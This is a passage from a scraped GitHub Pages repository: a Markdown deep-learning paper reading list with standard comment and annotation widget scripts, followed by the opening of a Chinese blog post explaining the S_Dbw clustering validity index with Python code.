arXiv:1805.01934 (CVPR)(2018)([YouRube](https://www.youtube.com/watch?v=qWKUFK7MWvg&feature=youtu.be))\n- [Paper Summary] D Stoller, S Ewert, S Dixon. \"**Wave-U-Net: A Multi-Scale Neural Network for End-to-End Audio Source Separation**\" arXiv:1806.03185 (**Wave-U-Net**)([code](https://github.com/f90/Wave-U-Net))([code](https://github.com/ShichengChen/WaveUNet))\n- [Paper Summary] Jingwen Chen, Jiawei Chen, Hongyang Chao, Ming Yang. \"**Image Blind Denoising With Generative Adversarial Network Based Noise Modeling**\" CVPR (2018) **(GAN็›ฒ้™ๅ™ช)**([Website](http://openaccess.thecvf.com/content_cvpr_2018/html/Chen_Image_Blind_Denoising_CVPR_2018_paper.html))([ๅฐ†้—จๅˆ›ๆŠ•](https://mp.weixin.qq.com/s/Vb0sIXC7s0yMRfhZFeC-wg))\n- [Paper Summary] S Guo, Z Yan, K Zhang, W Zuo, L Zhang. \"**Toward Convolutional Blind Denoising of Real Photographs**\" arXiv:1807.04686 (2018) **(CBDNet)** ([code](http://t.cn/Rgrv2Lr ))\n- [Paper Summary] Xia Li, Jianlong Wu, Zhouchen Lin, Hong Liu1, and Hongbin Zha. \"**Recurrent Squeeze-and-Excitation Context Aggregation Net for Single Image Deraining**.\" arXiv:1807.05698 (2018) **(ๅ•ๅ›พๅŽป้›จ)** ([code](https://github.com/XiaLiPKU/RESCAN))(RESCAN)\n\n\n\n\n\n\n\n- DeVries T, Taylor G W. \"**Learning Confidence for Out-of-Distribution Detection in Neural Networks**\"[J]. arXiv:1802.04865, (2018).\n\n---\n\n## :surfer: Survey & Review\n\n- [Paper Summary] LeCun, Yann, Yoshua Bengio, and Geoffrey Hinton. \"**Deep learning**.\" **(Three Giants' Survey)**\n\n## :running_man: ImageNet Evolution & Models\n\n> ![](https://i.loli.net/2018/08/31/5b88fe77f16e6.png)\n>\n> ![](https://i.loli.net/2018/08/31/5b89001a12508.png)\n>\n> ![](https://i.loli.net/2018/08/31/5b890a2ae3742.png)\n>\n> [From: Alfredo Canziani, Adam Paszke, Eugenio Culurciello, An Analysis of Deep Neural Network Models for Practical Applications, 2017.]\n>\n> *Deep Learning broke out from here๏ผ*\n\n- [[Paper Summary](./ImageNet Classification with Deep Convolutional Neural Networks.html)] Krizhevsky, Alex, Ilya Sutskever, and Geoffrey E. Hinton. \"**Imagenet classification with deep convolutional neural networks**.\" (2012). **(AlexNet, Deep Learning Breakthrough!)**\n- [Paper Summary] Pierre Sermanet, David Eigen, Xiang Zhang, Michael Mathieu, Rob Fergus, Yann LeCun. \"**OverFeat: Integrated Recognition, Localization and Detection using Convolutional Networks**\" (2013). **(winner of the localization task of ILSVRC2013)**\n- [Zeiler and Fergus, 2013] **(ZFNet)**\n- [[Paper Summary](./Very deep convolutional networks for large-scale image recognition.html)] Simonyan, Karen, and Andrew Zisserman. \"**Very deep convolutional networks for large-scale image recognition**.\" (2014).**(VGGNet,Neural Networks become very deep!)**\n- [Paper Summary] Szegedy, Christian, et al. \"**Going deeper with convolutions**.\" (2015).**(GoogLeNet, Deeper networks, computational efficiency)**\n- [Paper Summary] He, Kaiming, et al. \"**Deep residual learning for image recognition**.\" (2015).**(ResNet, Very very deep networks using residual connections, CVPR best paper)**\n- Xception: Deep Learning with Depthwise Separable Convolutions. F Chollet (2016) \n- From: Alfredo Canziani, Adam Paszke, Eugenio Culurciello, 2017.\n- Mahajan et al, โ€œExploring the Limits of Weakly Supervised Pretrainingโ€, arXiv 2018\n- \n\nใ€(Colab Notebooks)AlexNet/VGG/GoogleNet/Inception/MobileNet/ShuffleNet/ResNet/DenseNet็š„Kerasๅ‚่€ƒๅฎž็Žฐ(ๅŠ้€ŸๆŸฅ)ใ€‘โ€™Material used for Deep Learning related workshops for Machine Learning Tokyo (MLT)' by Machine-Learning-Tokyo GitHub: http://t.cn/ELtfypS Cheat Sheet:http://t.cn/ELtfypo \n\n\n\n## :goal_net: Model Configurations\n\n- [Paper Summary] Maas, Andrew L, Hannun, Awni Y, and Ng, Andrew Y. \"**Rectifier nonlinearities improve neural network acoustic models.**\" Proc. ICML, 30, (2013). **(Leaky ReLU)**\n- [Paper Summary] Goodfellow, Ian J., Warde-Farley, David, Mirza, Mehdi, Courville, Aaron C., and Bengio, Yoshua.\n \"**Maxout networks.**\" In Proceedings of the 30th International Conference on Machine Learning, ICML (2013) **(Maxout \"Neuron\")**\n- [Paper Summary] Graham, Ben. \"**Spatially-sparse convolutional neural networks.**\" ArXiv e-prints, September 2014c. **(very leaky ReLU)**\n- [Paper Summary] X Glorot, Y Bengio. \"**Understanding the difficulty of training deep feedforward neural networks**\" Proceedings of the thirteenth international conference on artificial intelligence and statistics. (2010) **(Xavier initialization)** \n- [Paper Summary] K He, X Zhang, S Ren, J Sun. \"**Delving deep into rectifiers: Surpassing human-level performance on imagenet classification**\" Proceedings of the IEEE international conference on computer vision. (2015) **(Leaky ReLU & Xavier initialization with additional factor)**\n- [Paper Summary] Ioffe, Sergey, and Christian Szegedy. \"**Batch normalization: Accelerating deep network training by reducing internal covariate shift**.\" (2015).**(An outstanding Work in 2015)**\n- [Paper Summary] DA Clevert, T Unterthiner, S Hochreiter. \"**Fast and accurate deep network learning by exponential linear units (elus)**\" arXiv:1511.07289 (2015)\n- [Paper Summary] Ba, Jimmy Lei, Jamie Ryan Kiros, and Geoffrey E. Hinton. \"**Layer normalization**.\" (2016).**(Update of Batch Normalization)**\n- [Paper Summary] Courbariaux, Matthieu, et al. \"**Binarized Neural Networks: Training Neural Networks with Weights and Activations Constrained to+ 1 orโˆ’1**.\" **(New Model,Fast)**\n- [Paper Summary] Jaderberg, Max, et al. \"**Decoupled neural interfaces using synthetic gradients**.\" (2016). **(Innovation of Training Method,Amazing Work)**\n- [Paper Summary] Chen, Tianqi, Ian Goodfellow, and Jonathon Shlens. \"Net2net: Accelerating learning via knowledge transfer.\"(2015).**(Modify previously trained network to reduce training epochs)**\n- [Paper Summary] Wei, Tao, et al. \"**Network Morphism.**\" (2016). **(Modify previously trained network to reduce training epochs)**\n- Girshick, โ€œFast R-CNNโ€, ICCV 2015 Figure copyright Ross Girshick, 2015. Reproduced with permission\n- Karpathy and Fei-Fei, โ€œDeep Visual-Semantic Alignments for Generating Image Descriptionsโ€, CVPR 2015 \n - Figure copyright IEEE, 2015. Reproduced for educational purposes.\n\n\n\n## :straight_ruler: Regularization\n\n\n\nBa, Kiros, and Hinton, โ€œLayer Normalizationโ€, arXiv 2016 **(Layer Normalization)**\n\nUlyanov et al, Improved Texture Networks: Maximizing Quality and Diversity in Feed-forward Stylization and Texture Synthesis, CVPR 2017 **(Instance Normalization)**\n\nWu and He, โ€œGroup Normalizationโ€, arXiv 2018 (Appeared 3/22/2018) **(Group Normalization)**\n\nHuang et al, โ€œDecorrelated Batch Normalizationโ€, arXiv 2018 (Appeared 4/23/2018) **(Decorrelated Batch Normalization)**\n\n\n\n- **Dropout**\n - [Paper Summary] Hinton, Geoffrey E., et al. \"**Improving neural networks by preventing co-adaptation of feature detectors**.\" (2012). \n - [Paper Summary] Srivastava, Nitish, et al. \"**Dropout: a simple way to prevent neural networks from overfitting**.\" (2014)\n\n- Wan et al, โ€œRegularization of Neural Networks using DropConnectโ€, ICML 2013 **(DropConnect)**\n- Graham, โ€œFractional Max Poolingโ€, arXiv 2014 **(Fractional Max Pooling)**\n- Huang et al, โ€œDeep Networks with Stochastic Depthโ€, ECCV 2016 **(Stochastic Depth)**\n\n\n\n## :skier: Optimization\n\n- [Paper Summary] J Bergstra, Y Bengio. \"**Random search for hyper-parameter optimization**\" Journal of Machine Learning Research, (2012) **(Hyperparameter Optimization: Random search)**\n\n- [Paper Summary] Sutskever, Ilya, et al. \"**On the importance of initialization and momentum in deep learning**.\" (2013) **(SGD + Momentum optimizer)**\n- [Paper Summary] Kingma, Diederik, and Jimmy Ba. \"**Adam: A method for stochastic optimization**.\" (2014). **(Adam)(Maybe used most often currently)**\n- [Paper Summary] Dauphin, Yann N., et al. \"**Identifying and attacking the saddle point problem in high-dimensional non-convex optimization**\" (2014) \n- [Paper Summary] Andrychowicz, Marcin, et al. \"**Learning to learn by gradient descent by gradient descent**.\" (2016).**(Neural Optimizer,Amazing Work)**\n- [Paper Summary] Han, Song, Huizi Mao, and William J. Dally. \"**Deep compression: Compressing deep neural network with pruning, trained quantization and huffman coding**.\" (2015). **(ICLR best paper, new direction to make NN running fast,DeePhi Tech Startup)**\n- [Paper Summary] Iandola, Forrest N., et al. \"**SqueezeNet: AlexNet-level accuracy with 50x fewer parameters and< 1MB model size**.\" (2016).**(Also a new direction to optimize NN,DeePhi Tech Startup)**\n- **(L-BFGS)**\n - Le et al, โ€œOn optimization methods for deep learning, ICML 2011โ€ \n - Ba et al, โ€œDistributed second-order optimization using Kronecker-factored approximationsโ€, ICLR 2017\n\n- **(Model Ensembles)**\n - Loshchilov and Hutter, โ€œSGDR: Stochastic gradient descent with restartsโ€, arXiv 2016 \n - Huang et al, โ€œSnapshot ensembles: train 1, get M for freeโ€, ICLR 2017 \n - Figures copyright Yixuan Li and Geoff Pleiss, 2017. Reproduced with permission.\n - Polyak and Juditsky, โ€œAcceleration of stochastic approximation by averagingโ€, SIAM Journal on Control and Optimization, 1992. **(Polyak averaging)**\n\n\n\n\n\n\n\n## :tv: Visualization / Understanding / Generalization / Transfer\n\n- Virsualization\n\n Krizhevsky, โ€œOne weird trick for parallelizing convolutional neural networksโ€, arXiv 2014๏ผˆfirst layer๏ผ‰\n He et al, โ€œDeep Residual Learning for Image Recognitionโ€, CVPR 2016๏ผˆfirst layer๏ผ‰\n Huang et al, โ€œDensely Connected Convolutional Networksโ€, CVPR 2017๏ผˆfirst layer๏ผ‰\n\n Van der Maaten and Hinton, โ€œVisualizing Data using t-SNEโ€, JMLR 2008 ๏ผˆt-sne๏ผ‰\n\n Yosinski et al, โ€œUnderstanding Neural Networks Through Deep Visualizationโ€, ICML DL Workshop 2014๏ผˆvisualizing activations, Gradient Ascent - better regularizer๏ผ‰\n\n Springenberg et al, โ€œStriving for Simplicity: The All Convolutional Netโ€, ICLR Workshop 2015๏ผˆMaximally Activation Patches๏ผ‰\n\n Zeiler and Fergus, โ€œVisualizing and Understanding Convolutional Networksโ€, ECCV 2014๏ผˆOcclusion, Intermediate features via (guided) backprop๏ผ‰\n\n Simonyan, Vedaldi, and Zisserman, โ€œDeep Inside Convolutional Networks: Visualising Image Classification Models and Saliency Mapsโ€, ICLR Workshop 2014.๏ผˆSaliency, Gradient Ascent๏ผ‰\n\n Springenberg et al, โ€œStriving for Simplicity: The All Convolutional Netโ€, ICLR Workshop 2015 (Intermediate features via (guided) backprop)\n\n Nguyen et al, โ€œMultifaceted Feature Visualization: Uncovering the Different Types of Features Learned By Each Neuron in Deep Neural Networksโ€, ICML Visualization for Deep Learning Workshop 2016. (Gradient Ascent adding โ€œmulti-facetedโ€ visualization )\n\n Nguyen et al, โ€œSynthesizing the preferred inputs for neurons in neural networks via deep generator networks,โ€ NIPS 2016๏ผˆGradient Ascent Optimize in FC6 latent space๏ผ‰\n\n Mahendran and Vedaldi, โ€œUnderstanding Deep Image Representations by Inverting Themโ€, CVPR 2015๏ผˆfeature inversion๏ผ‰\n\n Johnson, Alahi, and Fei-Fei, โ€œPerceptual Losses for Real-Time Style Transfer and Super-Resolutionโ€, ECCV 2016. (feature inversion, Fast Style Transfer)\n Gatys, Ecker, and Bethge, โ€œTexture Synthesis Using Convolutional Neural Networksโ€, NIPS 2015 (neural texture synthesis)\n\n Gatys, Ecker, and Bethge, โ€œImage style transfer using convolutional neural networksโ€, CVPR 2016 (neural style transfer)\n\n Ulyanov et al, โ€œTexture Networks: Feed-forward Synthesis of Textures and Stylized Imagesโ€, ICML 2016 (Fast Style Transfer)\n Ulyanov et al, โ€œInstance Normalization: The Missing Ingredient for Fast Stylizationโ€, arXiv 2016 (Fast Style Transfer)\n\n Dumoulin, Shlens, and Kudlur, โ€œA Learned Representation for Artistic Styleโ€, ICLR 2017. (one network, many styles)\n\n\n\nUnderstanding deep learning requires rethinking generalization\n\n- **Distilling the knowledge in a neural network** (2015), G. Hinton et al. [[pdf\\]](http://arxiv.org/pdf/1503.02531)\n- **Deep neural networks are easily fooled: High confidence predictions for unrecognizable images** (2015), A. Nguyen et al. [[pdf\\]](http://arxiv.org/pdf/1412.1897)\n- **How transferable are features in deep neural networks?** (2014), J. Yosinski et al. [[pdf\\]](http://papers.nips.cc/paper/5347-how-transferable-are-features-in-deep-neural-networks.pdf)\n- **Learning and transferring mid-Level image representations using convolutional neural networks** (2014), M. Oquab et al. [[pdf\\]](http://www.cv-foundation.org/openaccess/content_cvpr_2014/papers/Oquab_Learning_and_Transferring_2014_CVPR_paper.pdf)\n- **Visualizing and understanding convolutional networks** (2014), M. Zeiler and R. Fergus [[pdf\\]](http://arxiv.org/pdf/1311.2901)\n- Transfer Learning\n - **Decaf: A deep convolutional activation feature for generic visual recognition** (2014), J. Donahue et al. [[pdf\\]](http://arxiv.org/pdf/1310.1531)\n - **CNN features off-the-Shelf: An astounding baseline for recognition** (2014), A. Razavian et al. [[pdf\\]](http://www.cv-foundation.org//openaccess/content_cvpr_workshops_2014/W15/papers/Razavian_CNN_Features_Off-the-Shelf_2014_CVPR_paper.pdf)\n\n\n\n## :beginner: Weight Initialization\n\n- **Understanding the difficulty of training deep feedforward neural networks** by Glorot and Bengio, 2010 [[PDF](http://www.jmlr.org/proceedings/papers/v9/glorot10a/glorot10a.pdf?hc_location=ufi)]\n- **Exact solutions to the nonlinear dynamics of learning in deep linear neural networks** by Saxe et al, 2013 [[PDF](https://arxiv.org/pdf/1312.6120)]\n- **Random walk initialization for training very deep feedforward networks** by Sussillo and Abbott, 2014 [[PDF](https://arxiv.org/pdf/1412.6558)]\n- **Delving deep into rectifiers: Surpassing human-level performance on ImageNet classification** by He et al., 2015 [[PDF](https://www.cv-foundation.org/openaccess/content_iccv_2015/papers/He_Delving_Deep_into_ICCV_2015_paper.pdf)]\n- **Data-dependent Initializations of Convolutional Neural Networks** by Kraฬˆhenbuฬˆhl et al., 2015 [[PDF](https://arxiv.org/pdf/1511.06856)]\n- **All you need is a good init**, Mishkin and Matas, 2015 [[PDF](https://arxiv.org/pdf/1511.06422)]\n\n\n\n\n\n\n\nDetection and Segmentation\n\nSliding Window:\n\nFarabet et al, โ€œLearning Hierarchical Features for Scene Labeling,โ€ TPAMI 2013 \n\nPinheiro and Collobert, โ€œRecurrent Convolutional Neural Networks for Scene Labelingโ€, ICML 2014\n\nFully convolutional๏ผš\n\nLong, Shelhamer, and Darrell, โ€œFully Convolutional Networks for Semantic Segmentationโ€, CVPR 2015\n\nNoh et al, โ€œLearning Deconvolution Network for Semantic Segmentationโ€, ICCV 2015\n\nMulti-view 3D Reconstruction๏ผš\n\nChoy, C. B., Xu, D., Gwak, J., Chen, K., & Savarese, S. (2016, October). 3d-r2n2: A unified approach for single and multi-view\n3d object reconstruction. In European Conference on Computer Vision (pp. 628-644). Springer, Cham.\n\nHuman Pose Estimation:\n\nJohnson and Everingham, \"Clustered Pose and Nonlinear Appearance Models for Human Pose Estimation\", BMVC 2010\n\nToshev and Szegedy, โ€œDeepPose: Human Pose Estimation via Deep Neural Networksโ€, CVPR 2014\n\n\n\n\n\n\n\nRNN\n\nBa, Mnih, and Kavukcuoglu, โ€œMultiple Object Recognition with Visual Attentionโ€, ICLR 2015. \n\nGregor et al, โ€œDRAW: A Recurrent Neural Network For Image Generationโ€, ICML 2015 \n\nSutskever et al, โ€œSequence to Sequence Learning with Neural Networksโ€, NIPS 2014\n\nKarpathy, Johnson, and Fei-Fei: Visualizing and Understanding Recurrent Networks, ICLR Workshop 2016\n\nBengio et al, โ€œLearning long-term dependencies with gradient descent is difficultโ€, IEEE Transactions on Neural Networks, 1994 \n\nPascanu et al, โ€œOn the difficulty of training recurrent neural networksโ€, ICML 2013\n\nHochreiter and Schmidhuber, โ€œLong Short Term Memoryโ€, Neural Computation 1997\n\nSrivastava et al, โ€œHighway Networksโ€, ICML DL Workshop 2015\n\nLearning phrase representations using rnn encoder-decoder for statistical machine translation, Cho et al. 2014 **(GRU)**\n\nLSTM: A Search Space Odyssey, Greff et al., 2015\n\nAn Empirical Exploration of Recurrent Network Architectures, Jozefowicz et al., 2015\n\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./index.html)\n\n\n<div id=\"disqus_thread\"></div>\n<script>\n/**\n* RECOMMENDED CONFIGURATION VARIABLES: EDIT AND UNCOMMENT THE SECTION BELOW TO INSERT DYNAMIC VALUES FROM YOUR PLATFORM OR CMS.\n* LEARN WHY DEFINING THESE VARIABLES IS IMPORTANT: https://disqus.com/admin/universalcode/#configuration-variables*/\n/*\nvar disqus_config = function () {\nthis.page.url = PAGE_URL; // Replace PAGE_URL with your page's canonical URL variable\nthis.page.identifier = PAGE_IDENTIFIER; // Replace PAGE_IDENTIFIER with your page's unique identifier variable\n};\n*/\n(function() { // DON'T EDIT BELOW THIS LINE\nvar d = document, s = d.createElement('script');\ns.src = 'https://iphysresearch.disqus.com/embed.js';\ns.setAttribute('data-timestamp', +new Date());\n(d.head || d.body).appendChild(s);\n})();\n</script>\n<noscript>Please enable JavaScript to view the <a href=\"https://disqus.com/?ref_noscript\">comments powered by Disqus.</a></noscript>\n\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n\n" }, { "alpha_fraction": 0.610141932964325, "alphanum_fraction": 0.6406942009925842, "avg_line_length": 33.79245376586914, "blob_id": "8d0d6496beddbae8986e0310ba437fa6c56fabc7", "content_id": "5ed86b0f14c89b4bf8eeb98659c8d3e032daec4e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 14737, "license_type": "no_license", "max_line_length": 394, "num_lines": 318, "path": "/blog/posts/S_Dbw.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: S_Dbw ่š็ฑป่ฏ„ไผฐๆŒ‡ๆ ‡๏ผˆไปฃ็ ๅ…จ่งฃๆž๏ผ‰\ndate: 2018-03-01\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html)\n\n---\n\n\n\n\n\n# S_Dbw ่š็ฑป่ฏ„ไผฐๆŒ‡ๆ ‡๏ผˆไปฃ็ ๅ…จ่งฃๆž๏ผ‰\n\n\n\n---\n\n> `S_Dbw` ็ฎ—ๆณ•็š„ๅŽŸ่ฎบๆ–‡ๅœฐๅ€๏ผš[Clustering Validity Assessment: Finding the optimal partitioning of a data set](https://pdfs.semanticscholar.org/dc44/df745fbf5794066557e52074d127b31248b2.pdf )\n>\n> ๆœฌๆ–‡็ฎ—ๆณ•็š„ Rep ๅœฐๅ€๏ผšhttps://github.com/iphysresearch/S_Dbw_validity_index\n\nๆญคๆ–‡็š„ motivation ๆฅ่‡ชไบŽ่ฟ‘ๆœŸๆŽฅ็š„ๆŸๆ— ็›‘็ฃ k-means ่š็ฑป้กน็›ฎ๏ผŒๅนถ่ฎกๅˆ’ๆ˜ฏ็”จๅŸบไบŽ K-means ็ฎ—ๆณ•็š„ [`k-prototypes`](https://github.com/nicodv/kmodes) ่š็ฑป็ฎ—ๆณ•ๆฅๆ‰“ๅ‘ไบ†ไบ‹ใ€‚ไธบไบ†ๅฏน่š็ฑป็ป“ๆžœ็ป™ๅ‡บๅˆ็†้ ่ฐฑ็š„่ฏ„ไผฐ่ฏ„ไปท๏ผŒๆœ€็ปˆๅ†ณๅฎšไธป่ฆๅ‚่€ƒ `S_Dbw` ่ฏ„ไผฐๆŒ‡ๆ ‡๏ผŒๅนถไธ”ๆ‰“็ฎ—ๅ†™ไฝœๆญคๆ–‡๏ผŒ้žๅŽŸ็†ๆ€ง็š„่งฃๆž `S_Dbw`๏ผŒๅŽŸๅ› ๆœ‰ไบŒ๏ผš\n\n- ๅœจ2001ๅนดๆœ‰ไธ€็ฏ‡ๅผ•็”จ็Ž‡ๆŒบ้ซ˜(300+)็š„ paper [^1]่ฐˆๅˆฐ่ฏด๏ผŒ`S_Dbw` ่š็ฑป่ฏ„ไปทๆŒ‡ๆ ‡ๅฏนไบŽๅ„็งๅ™ชๅฃฐ๏ผŒไธๅŒๅฏ†ๅบฆ็š„ๆ•ฐๆฎ้›†็ญ‰็ญ‰ๅนฒๆ‰ฐ้กนๆฅ่ฐƒๅ‚็š„้ฒๆฃ’ๆ€งๆœ€ๅผบ๏ผŒ็›ดๆŽฅๅฎŒ็ˆ†ๅ…ถไป–ๆ‰€ๆœ‰่ฏ„ไปทๆŒ‡ๆ ‡~ \n- `S_Dbw` ็ฎ—ๆณ•ๅœจ sciki-learn ไธญ่‡ณไปŠ่ฟ˜ๆฒกๆœ‰่ขซๆทปๅŠ ๅˆฐ api ไธญ [^2]๏ผŒ็›ธๆฏ”๏ผŒ R ่ฏญ่จ€้‡Œๅดๆœ‰็Žฐๆˆไธ”ๅพˆๅฅฝ็š„ api ๅฏไปฅ่ฐƒ็”จ๏ผŒๅฆ‚ [`clv`](https://rdrr.io/cran/clv/man/SD_SDbw.html) ๅ’Œ [`NbClust`](https://github.com/cran/NbClust) [^3]ใ€‚ๅ…ณไบŽ `S_Dbw` ็ฎ—ๆณ•็Žฐๆˆ็š„ Python ไปฃ็ ็‰ˆๆœฌ๏ผŒๅœจ็ฝ‘็ปœไธŠไนŸ้šพไปฅๅฏป่ง…๏ผŒๅ”ฏไธ€็š„ๅ‚่€ƒๆ˜ฏ fanfanda ็š„ [็‰ˆๆœฌ](https://github.com/fanfanda/S_Dbw)ใ€‚ไธ่ฟ‡๏ผŒๆญคไปฃ็ ๅบ”่ฏฅๆ˜ฏๆœ‰้—ฎ้ข˜็š„๏ผŒๅฎƒ่š็ฑปไธญๅฟƒ็š„ๅฎšไน‰ๆ˜ฏๆœ‰่ฏฏ็š„ใ€‚\n\n\n\n็ปผไธŠ๏ผŒ่‡ชๅทฑๅ†ณๅฎšๅœจ fanfanda ็š„ไปฃ็ ๅŸบ็ก€ไธŠไฟฎๆญฃไปฃ็ ๏ผŒๅนถไธ”่ดดๅ‡บๆญคไปฃ็ ็ฎ—ๆณ•็š„่ฏฆ็ป†่งฃๆžใ€‚\n\nๆณจ๏ผš็ฌฆๅทๅฎŒๅ…จๅ‚่€ƒ่ฎบๆ–‡ๅŽŸๆ–‡๏ผŒไธ”ๅทฒๅฐฝๅฏ่ƒฝ็š„่ฏดๆ˜Ž็ฎ—ๆณ•็š„ๅ†…ๆถตๅ’Œไปฃ็ ๅฎž็ŽฐๅŽŸ็†๏ผŒๆ›ด่ฏฆ็ป†ไฟกๆฏ่ฏทๅ‚้˜…ๅŽŸ่ฎบๆ–‡ใ€‚\n\n\n\n---\n\n```python\nimport numpy as np\n```\nๆˆ‘ไปฌๅ…ˆ็ป™ๅ‡บๆ•ฐๅญฆไธŠ็š„้ข„ๅฎšไน‰๏ผš\n\n่ฏด $D = \\{\\nu_i|i_1,\\dots,c\\}$ ๆ˜ฏไธ€ไธช้’ˆๅฏนๆ•ฐๆฎ้›† S ็š„ๅˆ’ๅˆ†๏ผŒๅˆ†ๆˆไบ† c ไธช็ฑป๏ผŒๅ…ถไธญ็š„ $\\nu_i$ ๅฐฑๆ˜ฏ็ฌฌ $i$ ็ฑป็š„ไธญๅฟƒใ€‚\n\n\n\nไธ‹้ขๅฎšไน‰็ฑป `S_Dbw`๏ผŒๅนถไธ”ๅฏไปฅ็œ‹ๅˆฐ๏ผŒ็ฎ—ๆณ•็š„่พ“ๅ…ฅไฟกๆฏๆœ‰ไธ‰ไธชๆ–น้ข๏ผšๆ•ฐๆฎ้›†+่š็ฑป็ป“ๆžœ+ๅ„่š็ฑป็ฑปๅˆซ็š„\"ไธญๅฟƒ\"\n\n```python\nclass S_Dbw():\n def __init__(self,data,data_cluster,cluster_centroids_):\n \"\"\"\n data --> raw data\n data_cluster --> The category that represents each piece of data(the number of category should begin 0)\n cluster_centroids_ --> the center_id of each cluster's center\n \"\"\"\n self.data = data\n self.data_cluster = data_cluster\n self.cluster_centroids_ = cluster_centroids_\n\n # cluster_centroids_ ๆ˜ฏไธ€ไธช array, ็ป™ๅ‡บ็ฑปๆ•ฐk\n self.k = cluster_centroids_.shape[0]\n self.stdev = 0 # stdev ็š„ๅˆๅง‹ๅŒ–\n # ๅฏนๆฏไธช็ฑปๅˆซๆ ‡่ฎฐ่ฟ›่กŒๅพช็Žฏ๏ผŒๅฆ‚๏ผš0๏ผŒ1๏ผŒ2๏ผŒ...\n # ่ฏฅๅพช็Žฏ่ฎก็ฎ—็š„ๆ˜ฏไธ‹้ขๅ…ฌๅผ้‡Œๆ นๅท้‡Œ็š„ๅ†…ๅฎน๏ผš\n for i in range(self.k):\n # ่ฎก็ฎ—ๆŸ็ฑปๅˆซไธ‹ๆ‰€ๆœ‰ๆ ทๆœฌๅ„่‡ช็š„ๅ…จ้ƒจ็‰นๅพๅ€ผ็š„ๆ–นๅทฎ๏ผš\n #๏ผˆvector๏ผŒshapeไธบๆ ทๆœฌ็š„ไธชๆ•ฐ๏ผŒ็›ธๅฝ“ไบŽไธ‹้ขๅ…ฌๅผ้‡Œ็š„ signma๏ผ‰\n std_matrix_i = np.std(data[self.data_cluster == i],axis=0)\n # ๆฑ‚ๅ’Œ\n self.stdev += np.sqrt(np.dot(std_matrix_i.T,std_matrix_i))\n self.stdev = np.sqrt(self.stdev)/self.k # ๅ–ๅนณๅ‡\n```\n\nๅœจไธŠ้ข็š„ๅˆๅง‹ๅŒ–ไธญ๏ผŒๆˆ‘ไปฌๅฎšไน‰ไบ†ไธ€ไธชๅซๅš `stdev` ็š„ๅ˜้‡๏ผŒๅฎšไน‰ไธบๆฏไธช็ฑป็š„ๅนณๅ‡ๆ ‡ๅ‡†ๆ–นๅทฎ๏ผš\n$$\nstdev = \\frac{1}{c}\\sqrt{\\sum^c_{i=1}||\\sigma(\\nu_i)||}\n$$\nๅ…ถไธญ๏ผŒ็ฌฆๅท $||\\cdot||$ ่กจ็คบไธบ $||\\mathbf{x}||=(\\mathbf{x}^T\\mathbf{x})^{1/2}$ ๏ผˆ็Ÿข้‡็š„ๆฌงๅผ่ท็ฆป๏ผŒๆˆ–่€…่ฏด็™ฝไบ†๏ผŒๅฐฑๆ˜ฏ้ซ˜็ปด็ฉบ้—ดไธญๅๆ ‡ไธค็‚นไน‹้—ด็š„ๆฌงๆฐ่ท็ฆป๏ผ‰ใ€‚\n\nไธ‹้ขๅผ€ๅง‹่ฎก็ฎ—ๆ‰€่ฐ“็š„ Inter-cluster Density๏ผˆID๏ผ‰๏ผŒๅณ่ฆๅฎšไน‰็š„ `Dens_bw` ๅ‡ฝๆ•ฐใ€‚ไฝ†ๅœจๆญคไน‹ๅ‰๏ผŒ้œ€่ฆๅ…ˆ่กŒ่€ƒ้‡่ฎก็ฎ—็š„ๆ˜ฏไธ€ไธชๅ…ณไบŽไธคไธช็ฑปไน‹้—ด็š„ density๏ผŒๅฎšไน‰ๅฆ‚ไธ‹๏ผš\n$$\ndensity(u)=\\sum^{n_{ij}}_{l=1}f(x_l,u), \\,\\text{where } n_{ij}= \\text{ number of tuples}\n$$\nๅ…ถไธญ๏ผŒ$x_l$ ๆ˜ฏไปฅ $u$ ไธบ้‚ปๅŸŸๅ†…็š„ๆ ทๆœฌไธชๆ•ฐ๏ผŒๆ˜พ็„ถ่ฟ™ไธชๆ ทๆœฌๆ•ฐ็›ฎ่‚ฏๅฎšไธไผš่ถ…่ฟ‡ไธคไธช็ฑป็š„ๅˆๅนถ๏ผŒๆ›ดไธไผš่ถ…่ฟ‡ๆ•ดไธชๆ•ฐๆฎ้‡๏ผŒไนŸๅฐฑๆ˜ฏ่ฏดๆปก่ถณ๏ผš$x_l\\in c_i\\cup c_j \\subseteq S$ใ€‚ๆ‰€ไปฅ่ฏด๏ผŒไธŠ้ข็š„ๅ…ฌๅผ้’ˆๅฏนไธคไธช็ฑปๅˆซๆ ทๆœฌ๏ผŒๅช่ฆ็ป™ๅฎšไธ€ไธช้‚ปๅŸŸ่Œƒๅ›ด $u$๏ผŒๅฐฑๅฏไปฅ็ป™ๅ‡บไธ€ไธช scalar ๆฅ่กจๅพๅฏ†ๅบฆ็š„ๅซไน‰ใ€‚้‚ฃไนˆ $u$ ๆ€Žไนˆๅฎšไน‰๏ผŸ่กจๅพๅฏ†ๅบฆ็š„ $f$ ๅ‡ฝๆ•ฐๅˆๆ€Žไนˆๅฎšไน‰ๅ‘ข๏ผŸ่ฏดๆฅๅฐฑๆฅ๏ผŒ็ซ‹้ฉฌ็ป™ไฝ ๅฎšไน‰๏ผ\n$$\nf(x,u) = \\left\\{\\begin{matrix}\n 0,& \\text{if } d(x,u)>stdev\\\\ \n 1,& \\text{otherwise}\n\\end{matrix}\\right.\n$$\n่ฟ™ๆ˜ฏๅ•ฅๆ„ๆ€ๅ‘ข๏ผŸ\n\nไธŠ้ขๅฎšไน‰่ฟ‡็š„ `stdev` 